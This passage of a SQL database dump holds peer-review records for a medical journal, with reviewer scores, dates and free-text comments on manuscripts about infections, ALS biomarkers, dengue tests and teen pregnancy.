tables\r\norganize abstract\r\nreview as whole','great research\r\ntopic\r\nreview alphabetical errors\r\ncheck references, legends, tables\r\norganize abstract\r\nreview as whole','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5040,5467,12457,NULL,'4','G','y','y','y','great research\r\ntopic\r\nreview alphabetical errors\r\ncheck references, legends, tables\r\norganize abstract\r\nreview as whole','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n\r\n','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5041,5467,9233,NULL,'4','G','y','y','y','great research\r\ntopic\r\nreview alphabetical errors\r\ncheck references, legends, tables\r\norganize abstract\r\nreview as whole','','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5042,5467,9233,NULL,'4','G','y','y','y','great research\r\ntopic\r\nreview alphabetical errors\r\ncheck references, legends, tables\r\norganize abstract\r\nreview as whole','','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5043,15588,12419,NULL,'5','g','y','y','y','Shuold be shed more light on Hirschprung disease and the researches should be directed to genetic and molecular parameters','Shuold be shed more light on Hirschprung disease and the researches should be directed to genetic and molecular parameters','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5044,15588,12419,NULL,'5','g','y','y','y','Shuold be shed more light on Hirschprung disease and the researches should be directed to genetic and molecular parameters','Shuold be shed more light on Hirschprung disease and the researches should be directed to genetic and molecular parameters','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5045,15588,12419,NULL,'5','g','y','y','y','Shuold be shed more light on Hirschprung disease and the researches should be directed to genetic and molecular parameters','Shuold be shed more light on Hirschprung disease and the researches should be directed to genetic and molecular parameters','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5046,15586,12407,NULL,'4','G','Y','Y','Y','Please expand the introduction.\r\nplease add legends to the tables.','I made some points.','2022-02-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5047,18593,11932,NULL,'4','G','Y','Y','Y','study was part of a cross sectional study conducted among 413 admitted patients Suspected of HAI to assess the prevalence of Staphylococcus aureus and associated risk factors, aureus isolates to antimicrobials was alarmingly high so that any empirical prophylaxis and treatment needs careful selection of effective drugs including \r\nAbstract \r\nIntroduction\r\ndiscussion\r\nconclusion\r\nReference\r\nAll are good format overall well written article\r\n\r\n\r\n','Accepted','2022-02-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5053,18594,12200,NULL,'4','G','Y','Y','Y','Great data regarding neonate intensive care and the manuscript have all required guidelines\r\nAbstract\r\nintroduction\r\nmethodology\r\nResult\r\ndiscussion\r\nconclusion\r\noverall good data just need to rectify grammar mistakes do error free. ','Great data regarding neonate intensive care and the manuscript have all required guidelines\r\nAbstract\r\nintroduction\r\nmethodology\r\nResult\r\ndiscussion\r\nconclusion\r\noverall good data just need to rectify grammar mistakes do error free. ','2022-02-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5056,18594,12284,NULL,'5','G','Y','Y','Y','Aimed to assess the socio-demographic determinants and to ascertain other factors leading to teen pregnancies in the Tamale Metropolis\r\nThe manuscript have all needed headings for research type article\r\nlike \r\nAbstract\r\nIntroduction\r\nMethodology and procedure\r\ndiscussion\r\nconclusion\r\ntables and references\r\nOverall have a good data and its very useful for readers.\r\n','Aimed to assess the socio-demographic determinants and to ascertain other factors leading to teen pregnancies in the Tamale Metropolis\r\nThe manuscript have all needed headings for research type article\r\nlike \r\nAbstract\r\nIntroduction\r\nMethodology and procedure\r\ndiscussion\r\nconclusion\r\ntables and references\r\nOverall have a good data and its very useful for readers.\r\n','2022-03-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5062,8782,12493,NULL,'4','G','Y','Y','Y','Overall, this is a clear, concise, and well-written manuscript. The introduction is relevant and theory based. Sufficient information about the previous study findings is presented for readers to follow the present study rationale and procedures. Figure 1 is blur. Provide high resolution figure. Arrange the reference part. Accept after minor revision.','','2022-03-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5064,15363,12737,NULL,'5','g','y','y','y','Antibiotics are widely used as antimicrobial agents for treating a variety of bacterial infections, it has been reported that a majority of them also exert antiviral, anti-inflammatory, immunomodulatory, and antioxidant activities that may a significant role in alleviating many clinical disorders such as severe acute respiratory syndrome coronavirus 2 (SARS?CoV?2). Interestingly, literature mentioned that macrolide antibiotics (e.g., azithromycin) significantly reduce viral replication, down regulate the inflammatory cascade and excessive cytokine production, and decrease mortality. The manuscript is well-organized, and it was proposed that using a virtual learning environment to increase knowledge about drug administration is an effective educational Pleiotropic Immunologic and Potential Antiviral Effects of Antibiotics and Their Clinical Impact It is recommended that the manuscript be published without any more revisions.','Antibiotics are widely used as antimicrobial agents for treating a variety of bacterial infections, it has been reported that a majority of them also exert antiviral, anti-inflammatory, immunomodulatory, and antioxidant activities that may a significant role in alleviating many clinical disorders such as severe acute respiratory syndrome coronavirus 2 (SARS?CoV?2). Interestingly, literature mentioned that macrolide antibiotics (e.g., azithromycin) significantly reduce viral replication, down regulate the inflammatory cascade and excessive cytokine production, and decrease mortality. The manuscript is well-organized, and it was proposed that using a virtual learning environment to increase knowledge about drug administration is an effective educational Pleiotropic Immunologic and Potential Antiviral Effects of Antibiotics and Their Clinical Impact It is recommended that the manuscript be published without any more revisions.','2022-05-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5065,10978,12756,NULL,'2','G','D','M','Y','The manuscript needs major revision to improve the overall writing for easy understandingto the reader.','The manuscript is in raw form needs revision to make the research understood to the reader.\r\nOverall the authors need to consult some reearcher to edit the text to improve the quality of the manuscript.\r\nThe manuscript needs major revision to improve the overall writing for easy understandingto the reader.','2022-05-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5066,11714,12554,NULL,'5','G','Y','Y','Y','This study regarding In the current study area, high (36.4%) prevalence of H. pylori infection was observed among dyspeptic patients. Rural residence, older age, larger family size, absence of hand washing after toilet, a habit of alcohol consumption, and smoking cigarettes were independent predictors of H. pylori infection.\r\nOverall good manuscript and its is useful data for readers.','This study regarding In the current study area, high (36.4%) prevalence of H. pylori infection was observed among dyspeptic patients. Rural residence, older age, larger family size, absence of hand washing after toilet, a habit of alcohol consumption, and smoking cigarettes were independent predictors of H. pylori infection.\r\nOverall good manuscript and its is useful data for readers.','2022-05-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5067,21378,12753,NULL,'3','G','Y','M','Y','1.	It would be helpful if the authors were to provide a rationale for selecting these particular molecules in the serum as biomarkers for ALS, above the already established biomarkers in the literature. The authors might also consider discussing a hypothesis for why the levels of serum components described in this study may be altered and how those changes relate to ALS disease progression.\r\n2.	Authors should comment on the relationship between cholesterol and creatinine and neurological DPR.\r\n3.	In the section “Enrollment Criteria”, the contents of (2) should be moved into exclusion criteria. Moreover, factors such as age, prior treatment, current treatments, motor function, etc should ideally be mentioned within enrollment/eligibility criteria.\r\n4.	Since the collection and analysis of serum markers were carried out at a single timepoint, do the authors believe that serum components are useful pharmacodynamic markers at varying disease stages of ALS? Citing relevant literature here would be useful.\r\n5.	Plots comparing serum components in both groups (Figure 1) should be described in greater detail, and references to prior published work should be provided.\r\n6.	In the discussion section, it is unclear what the authors mean by conducting a “randomized control study of every indicator”.\r\n7.	Bar graphs should include either error bars or individual data points. Also, it is unclear what the horizontal and vertical lines indicate for the bars.\r\n','','2022-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5068,12532,12571,NULL,'5','G','Y','Y','Y','It is concluded that the role of the pediatric dentist in relation to patients fissured people proved to be fundamental, as he, together with a team multiprofessional should assess and monitor the patient as a whole, not limited to dental treatment. Overall well written article.','It is concluded that the role of the pediatric dentist in relation to patients fissured people proved to be fundamental, as he, together with a team multiprofessional should assess and monitor the patient as a whole, not limited to dental treatment. Overall well written article.','2022-05-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5069,15741,12755,NULL,'5','G','Y','Y','Y','he prevalence of HBV co-infection among HIV patients was very high, emplacing the importance of screening all HIV patients for HBV in the whole district to establish the exact prevalence of co-infection for proper medical and public intervention strategies.\r\nover all this study is good and article have all needed headings ','he prevalence of HBV co-infection among HIV patients was very high, emplacing the importance of screening all HIV patients for HBV in the whole district to establish the exact prevalence of co-infection for proper medical and public intervention strategies.\r\nover all this study is good and article have all needed headings ','2022-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5070,15740,12755,NULL,'5','G','Y','Y','Y','This study regarding The prevalence of HBV co-infection among HIV patients was very high, emphasing the importance of screening all HIV patients for HBV in the whole district to establish the exact prevalence of co-infection for proper medical and public intervention strategies.\r\n\r\nThis article have good data and research it is useful for readers ','Accepted','2022-05-18',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5071,5467,12795,NULL,'5','G','Y','Y','Y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2022-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5072,5467,12795,NULL,'5','G','Y','Y','Y','- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2022-05-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5073,21374,12711,NULL,'2','R','Y','Y','Y','The manuscript although interesting has several structural/grammatical/syntactic errors which I believe should be fixed. For instance on page 2, you mentioned - \"It removes millions of....\". Who or what removes the cells? In the next line, you may rephrase by saying - \"once reprogrammed....\". The next paragraph regarding gene therapy is full of grammatical errors. I strongly suggest fixing all grammatical errors and having the document proofread before it is resubmitted.','The research topic will generate a lot of interest in the scientific community. However, the paper is full of structural and grammatical mistakes. I strongly believe all these errors should be fixed by the authors before the manuscript is reconsidered for publication.','2022-05-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5074,10978,3252,NULL,'4','G','D','Y','Y','The english language used can be improved for easy understanding to the reader.\r\nReview of literature can be improved.','The english language used can be improved for easy understanding to the reader.\r\nReview of literature can be improved.\r\nThere are some grammatical errors which needs to be corrected before publishing.','2022-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5075,10978,3252,NULL,'4','G','D','Y','Y','The english language used can be improved for easy understanding to the reader.\r\nReview of literature can be improved.','The english language used can be improved for easy understanding to the reader.\r\nReview of literature can be improved.\r\nThere are some grammatical errors which needs to be corrected before publishing.','2022-05-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5076,18592,12745,NULL,'5','G','Y','Y','Y','This study regarding the use of the intrauterine Bakri balloon is a safe and effective technique for early management of postpartum hemorrhage, with extremely high success rates greater than 75%, regardless of its Etiology. What makes it even more considerable, in addition to its use as a last therapeutic action or even as a first line, is its ability to stop bleeding, thus completely stopping bleeding, without requiring a high level of experience to carry out the procedure. , without the use of invasive or permanent techniques, or associated with long-term complications','This study regarding the use of the intrauterine Bakri balloon is a safe and effective technique for early management of postpartum hemorrhage, with extremely high success rates greater than 75%, regardless of its Etiology. What makes it even more considerable, in addition to its use as a last therapeutic action or even as a first line, is its ability to stop bleeding, thus completely stopping bleeding, without requiring a high level of experience to carry out the procedure. , without the use of invasive or permanent techniques, or associated with long-term complications','2022-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5077,11689,12746,NULL,'5','G','Y','Y','Y','The manuscript is well worked in all sections the study regarding Acral lentiginous melanoma, like mucosal melanomas, is a subtype of melanoma with a low mutational load and does not present mutations induced by ultraviolet radiation that are commonly observed in other cutaneous malignant melanomas. To date, it is known that multiple studies have proposed stress or shear force as a mechanism for the induction of acral lentiginous melanoma, given that the incidence is higher in weight-bearing areas of the foot, such as the heel, forefoot and ball of the foot. lateral side of the foot.','The manuscript is well worked in all sections the study regarding Acral lentiginous melanoma, like mucosal melanomas, is a subtype of melanoma with a low mutational load and does not present mutations induced by ultraviolet radiation that are commonly observed in other cutaneous malignant melanomas. To date, it is known that multiple studies have proposed stress or shear force as a mechanism for the induction of acral lentiginous melanoma, given that the incidence is higher in weight-bearing areas of the foot, such as the heel, forefoot and ball of the foot. lateral side of the foot.','2022-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5078,11687,12747,NULL,'5','G','Y','Y','Y','Regarding the study of The SARS-CoV-2 pandemic spread through human-human transmission and although the virus identifies ACE2 receptors in epithelial cells of various organs, it is possible that there are increases in antibody-dependent infections (ADEs). Therefore, this aspect should be considered when evaluating vaccines or using monoclonal antibodies, however, the use of these has presented a change in the treatment of Covid.\r\nAntibodies are produced by the body as a Defence against disease. However, these can also be made in laboratories from cells taken from people who have recovered from an illness.\r\nThe evidence on this type of medication is in continuous development, on the one hand, due to the interesting mechanisms of action and the impact of this pandemic, but without ruling out that the development in many cases of new molecules entails commercial appeal, therefore, it is necessary to keep informed of the new evidence without losing its critical vision and analysis\r\nOver all well written article and needed all headings is their.','Regarding the study of The SARS-CoV-2 pandemic spread through human-human transmission and although the virus identifies ACE2 receptors in epithelial cells of various organs, it is possible that there are increases in antibody-dependent infections (ADEs). Therefore, this aspect should be considered when evaluating vaccines or using monoclonal antibodies, however, the use of these has presented a change in the treatment of Covid.\r\nAntibodies are produced by the body as a Defence against disease. However, these can also be made in laboratories from cells taken from people who have recovered from an illness.\r\nThe evidence on this type of medication is in continuous development, on the one hand, due to the interesting mechanisms of action and the impact of this pandemic, but without ruling out that the development in many cases of new molecules entails commercial appeal, therefore, it is necessary to keep informed of the new evidence without losing its critical vision and analysis\r\nOver all well written article and needed all headings is their.','2022-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5079,11845,12748,NULL,'5','G','Y','Y','Y','It is extremely important to know the different existing differential diagnoses of acute abdominal pain in the lower right quadrant, since many of these pathologies can cause referred pain with completely different clinical presentation and surgical findings, at the time of performing the operative approach.\r\nAcute left appendicitis, as a rare clinical entity, should not be underestimated and as an etiology of acute abdomen, its diagnosis and possible treatment should not be delayed as long as possible. With the aim of avoiding life-threatening complications for this small population group. The obvious shortcomings in our health system, especially in the public network. As well as the non-availability of immunological diagnostic aids and minimally invasive or laparoscopic equipment, clinical suspicion should not be delayed or diminished, especially in this entity, and the surgical approach should be carried out according to the devices or instruments available in each service.','It is extremely important to know the different existing differential diagnoses of acute abdominal pain in the lower right quadrant, since many of these pathologies can cause referred pain with completely different clinical presentation and surgical findings, at the time of performing the operative approach.\r\nAcute left appendicitis, as a rare clinical entity, should not be underestimated and as an etiology of acute abdomen, its diagnosis and possible treatment should not be delayed as long as possible. With the aim of avoiding life-threatening complications for this small population group. The obvious shortcomings in our health system, especially in the public network. As well as the non-availability of immunological diagnostic aids and minimally invasive or laparoscopic equipment, clinical suspicion should not be delayed or diminished, especially in this entity, and the surgical approach should be carried out according to the devices or instruments available in each service.','2022-05-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5080,14685,12785,NULL,'5','G','Y','Y','Y','The study regarding influence of chronotype on performance and on the general health of individuals and on the relationship with metabolic diseases has been investigated. However, further studies are needed to establish the specific relationship between chronotype, physical activity and depression. In our review, we found that many studies indicate that higher depression scores and lower levels of physical activity are found mainly in evening or intermediate types. Simple strategies to improve mental wellbeing by targeting circadian disruption without the need for pharmacological agents can be used in the treatment of depression.','The study regarding influence of chronotype on performance and on the general health of individuals and on the relationship with metabolic diseases has been investigated. However, further studies are needed to establish the specific relationship between chronotype, physical activity and depression. In our review, we found that many studies indicate that higher depression scores and lower levels of physical activity are found mainly in evening or intermediate types. Simple strategies to improve mental wellbeing by targeting circadian disruption without the need for pharmacological agents can be used in the treatment of depression.','2022-05-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5081,18593,12784,NULL,'5','G','Y','Y','Y','The study use of caffeine powder, gum or capsules with caffeine (which have greater evidence so far) is suggested, since it is found to be related to an adequate ergogenic effect and a reduction of muscle soreness of late onset after activity; approximately 48 to 72 hours. The consumption of light to moderate doses of caffeine could be beneficial in high performance athletes, both for short and long duration activities, but not so in people who perform sporadically, in light intensity or who are not trained.\r\nThis article have all needed headings ad well written article.','The study use of caffeine powder, gum or capsules with caffeine (which have greater evidence so far) is suggested, since it is found to be related to an adequate ergogenic effect and a reduction of muscle soreness of late onset after activity; approximately 48 to 72 hours. The consumption of light to moderate doses of caffeine could be beneficial in high performance athletes, both for short and long duration activities, but not so in people who perform sporadically, in light intensity or who are not trained.\r\nThis article have all needed headings ad well written article.','2022-06-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5082,21393,12786,NULL,'5','G','Y','Y','Y','Regarding Both persistent viral infections and post-viral syndromes have been little studied so far. It is perhaps time to interfere in depth in the investigation of chronic infections, their impact on the body, as well as entities that generate dysautonomia\'s and that are usually associated with chronic or post-viral viral pathology, especially chronic fatigue syndrome, fibromyalgia, autoimmune autonomic ganglionopathy and orthostatic postural tachycardia syndrome.','Regarding Both persistent viral infections and post-viral syndromes have been little studied so far. It is perhaps time to interfere in depth in the investigation of chronic infections, their impact on the body, as well as entities that generate dysautonomia\'s and that are usually associated with chronic or post-viral viral pathology, especially chronic fatigue syndrome, fibromyalgia, autoimmune autonomic ganglionopathy and orthostatic postural tachycardia syndrome.','2022-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5083,21395,12779,NULL,'3','r','y','y','y','I have some small comments about it something is missing from the article, there are no radiological images, pathology studies, it does not have a chest plate, the extracorporeal membrane graphs look nice and are demonstrative but they are not enough weight.\r\n\r\nDo not fortlecen the estusio. I do not stop consisderar which is interesting.\r\n\r\nThank you.','I have some small comments about it something is missing from the article, there are no radiological images, pathology studies, it does not have a chest plate, the extracorporeal membrane graphs look nice and are demonstrative but they are not enough weight.\r\n\r\nDo not fortlecen the estusio. I do not stop consisderar which is interesting however I feel it weak.\r\n\r\nThank you.','2022-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5084,21395,12779,NULL,'3','r','y','y','y','I have some small comments about it something is missing from the article, there are no radiological images, pathology studies, it does not have a chest plate, the extracorporeal membrane graphs look nice and are demonstrative but they are not enough weight.\r\n\r\nDo not fortlecen the estusio. I do not stop consisderar which is interesting.\r\n\r\nThank you.','I have some small comments about it something is missing from the article, there are no radiological images, pathology studies, it does not have a chest plate, the extracorporeal membrane graphs look nice and are demonstrative but they are not enough weight.\r\n\r\nDo not fortlecen the estusio. I do not stop consisderar which is interesting however I feel it weak.\r\n\r\nThank you.','2022-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5085,21395,12779,NULL,'3','r','y','y','y','I have some small comments about it something is missing from the article, there are no radiological images, pathology studies, it does not have a chest plate, the extracorporeal membrane graphs look nice and are demonstrative but they are not enough weight.\r\n\r\nDo not fortlecen the estusio. I do not stop consisderar which is interesting.\r\n\r\nThank you.','I have some small comments about it something is missing from the article, there are no radiological images, pathology studies, it does not have a chest plate, the extracorporeal membrane graphs look nice and are demonstrative but they are not enough weight.\r\n\r\nDo not fortlecen the estusio. I do not stop consisderar which is interesting however I feel it weak.\r\n\r\nThank you.','2022-06-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5086,5467,12804,NULL,'4','G','y','y','y','interesting paper\r\n\r\nready for publishing ','','2022-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5087,14534,12789,NULL,'5','G','Y','Y','Y','The safety, duration and reliability provided by long-term contraceptives makes them a great alternative as a method to avoid teenage pregnancies, but the fear of pain and insertion make these methods such as implantation and intrauterine devices less used by adolescents','The safety, duration and reliability provided by long-term contraceptives makes them a great alternative as a method to avoid teenage pregnancies, but the fear of pain and insertion make these methods such as implantation and intrauterine devices less used by adolescents.','2022-06-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5088,15676,12790,NULL,'5','G','Y','Y','Y','The study regarding Malnutrition is a world-class public health problem. It is capable of affecting the neurological development of children and lasting its effects until adulthood. One of the main factors that influence the above and that goes hand in hand with it is the socio-family context, since it is inherently able to contribute to the persistence of bad nutritional habits which makes the cycle persist, and its well written article.','The study regarding Malnutrition is a world-class public health problem. It is capable of affecting the neurological development of children and lasting its effects until adulthood. One of the main factors that influence the above and that goes hand in hand with it is the socio-family context, since it is inherently able to contribute to the persistence of bad nutritional habits which makes the cycle persist, and its well written article.','2022-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5089,21392,12796,NULL,'5','G','Y','Y','Y','In general the manuscript is well worked in all sections of the research carried out in the topic of “Evaluation of a Rapid in vitro Diagnostic Test Device for HIV 1.2 Rapid Test Kits.” Author has included all the test for detecting the HIV.\r\nThe manuscript has an abstract and keywords. The author(s) need to present a hint for the research limitations. The paper is interesting. I recommend that the author(s) present the research limitations as well as recommendations for future research work. I accept the article to be publish without any changes','In general the manuscript is well worked in all sections of the research carried out in the topic of “Evaluation of a Rapid in vitro Diagnostic Test Device for HIV 1.2 Rapid Test Kits.” Author has included all the test for detecting the HIV.\r\nThe manuscript has an abstract and keywords. The author(s) need to present a hint for the research limitations. The paper is interesting. I recommend that the author(s) present the research limitations as well as recommendations for future research work. I accept the article to be publish without any changes','2022-06-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5090,12532,12798,NULL,'5','G','Y','Y','Y','It is evident that the incidence of lack of sleep in the rotating interns of the Pablo Arturo Suárez General Hospital is important. That this incidence varies depending on the service, despite the shifts or occupational time being the same. The greater the monotony, the greater the affection, the greater the diversification of activities, the conditions change notably. ','\r\nIt is evident that the incidence of lack of sleep in the rotating interns of the Pablo Arturo Suárez General Hospital is important. That this incidence varies depending on the service, despite the shifts or occupational time being the same. The greater the monotony, the greater the affection, the greater the diversification of activities, the conditions change notably. ','2022-06-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5091,12531,12783,NULL,'5','G','Y','Y','Y','The article is too length and good In conclusion, having knowledge of the steps, management and approach of the behaviors that health personnel must have in the intensive care unit, are essential to reduce the morbidity and mortality of patients, therefore, the acronym \"IN CRITICAL CONDITION\" and the recognition of the most frequent pathologies found in the ICU, are a very useful proposal for the fulfillment of a comprehensive care of the critical patient with a previous and adequate precision Diagnostic.','The article is too length and good In conclusion, having knowledge of the steps, management and approach of the behaviors that health personnel must have in the intensive care unit, are essential to reduce the morbidity and mortality of patients, therefore, the acronym \"IN CRITICAL CONDITION\" and the recognition of the most frequent pathologies found in the ICU, are a very useful proposal for the fulfillment of a comprehensive care of the critical patient with a previous and adequate precision Diagnostic.','2022-06-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5092,8994,12523,NULL,'5','g','y','Y','Y','Fiji faces a growing burden of several communicable diseases and non-communicable disease including fever of unknown origin. Surveillance data suggest that Fever has become increasingly common in rural areas of Fiji and is more frequent amongst acute respiratory infections, dengue and viral infections. The manuscript is well-organized, and it was proposed that using a virtual learning environment to increase knowledge about is communicable diseases and non-communicable disease. It is recommended that the manuscript be published without any more revisions.','Fiji faces a growing burden of several communicable diseases and non-communicable disease including fever of unknown origin. Surveillance data suggest that Fever has become increasingly common in rural areas of Fiji and is more frequent amongst acute respiratory infections, dengue and viral infections. The manuscript is well-organized, and it was proposed that using a virtual learning environment to increase knowledge about is communicable diseases and non-communicable disease. It is recommended that the manuscript be published without any more revisions.','2022-06-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5093,15737,12807,NULL,'5','G','Y','Y','Y','All Dengue Combo Rapid Test Cassette (Whole Blood/Serum/Plasma) kits developed by All Test tested in this evaluation performed well. The tests demonstrated excellent accuracy, sensitivity and specificity.  \r\n\r\nThe results showed that the relative sensitivity of the Dengue NS1 Rapid Test Cassette   was 95.8%, accuracy was 96.0% and the relative specificity was 96.1%. The overall relative sensitivity of Dengue IgG/IgM Rapid Test was 94.3%, the relative specificity was 99.1%, and the relative accuracy was 98.3%\r\n\r\nDengue is a mosquito-borne viral disease that has rapidly spread to all regions of World Health Organization.\r\n\r\nOver all well written article and please publish this article in this journal.\r\n','Accepted for publication','2022-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5094,659,12777,NULL,'4','G','Y','Y','Y','This a well written manuscript. Figure and table represented very well. Minor revision needed before acceptance. Formatting, reference should arranged according to the journal guidelines.','','2022-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5095,16861,12242,NULL,'A','B','C','D','E','1-Abstract , text body , Conclusion missing. Please mention the abstract.\r\n2. References should be written according to journal instructions. Please follow the journal\r\ninstructions for references.\r\n3. Please ad clear images/figures\r\n4. Please ad some literature of review that identify gaps.','1-Abstract , text body , Conclusion missing. Please mention the abstract.\r\n2. References should be written according to journal instructions. Please follow the journal\r\ninstructions for references.\r\n3. Please ad clear images/figures\r\n4. Please ad some literature of review that identify gaps.','2022-06-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5096,16861,12662,NULL,'5','G','D','D','Y','1-References should be written according to journal instructions. \r\n2-Please follow the journal\r\ninstructions for references.\r\n3. Please ad clear images/figures\r\n4. Please ad some literature of review','1-References should be written according to journal 